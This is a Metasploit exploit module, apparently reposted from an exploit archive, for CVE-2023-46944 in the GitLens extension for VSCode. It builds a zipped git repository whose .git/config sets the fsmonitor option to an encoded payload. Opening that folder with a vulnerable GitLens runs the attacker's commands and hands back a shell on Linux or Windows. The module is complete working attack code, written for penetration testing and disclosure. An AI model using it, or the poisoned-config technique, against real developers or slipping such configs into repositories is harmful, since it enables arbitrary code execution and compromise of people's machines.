Exploit for GitLens Git Local Configuration Execution CVE-2023-46944

## https://sploitus.com/exploit?id=PACKETSTORM:178227
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GitLens Git Local Configuration Exec',  
'Description' => %q{  
GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git  
commands. A repo may include its own .git folder including a malicious config file to  
execute arbitrary code.  
  
Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # Metasploit module  
'Paul Gerste', # Original advisory and PoC  
],  
'References' => [  
['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'],  
['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook  
['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch  
['CVE', '2023-46944']  
],  
'DefaultOptions' => {  
'EXITFUNC' => 'thread',  
'DisablePayloadHandler' => false,  
'FILENAME' => 'repo.zip',  
'WfsDelay' => 3_600 # 1hr  
},  
'Arch' => ARCH_CMD,  
'Targets' => [  
[  
'Linux/Unix (In-Memory)',  
{  
'Platform' => [ 'unix', 'linux' ],  
'Type' => :unix_cmd  
},  
],  
# There may be a size limit, but using fetch payloads works great  
[  
'PowerShell (In-Memory)',  
{  
'Platform' => 'win',  
'Payload' => {  
'BadChars' => '"&'  
}  
}  
],  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away  
},  
'Privileged' => false,  
'DisclosureDate' => '2023-11-14'  
)  
)  
  
register_options([  
OptString.new('README', [true, 'The contents of the readme markdown file', '# Test'])  
])  
end  
  
def readme  
datastore['README'].to_s  
end  
  
def git_head  
'ref: refs/heads/master'  
end  
  
def git_config  
%([core]  
repositoryformatversion = 0  
filemode = true  
bare = false  
logallrefupdates = true  
fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload  
end  
  
def exploit  
# Create malicious zip archive containing our git repo  
files =  
[  
{ data: readme, fname: 'README.md' },  
{ data: git_config, fname: '.git/config' },  
{ data: git_head, fname: '.git/HEAD' },  
{ data: '', fname: '.git/objects/info/' },  
{ data: '', fname: '.git/objects/pack/' },  
{ data: '', fname: '.git/refs/heads/' },  
{ data: '', fname: '.git/refs/tags/' },  
]  
  
zip = Msf::Util::EXE.to_zip(files)  
  
file_create(zip)  
print_status('Waiting for shell')  
end  
end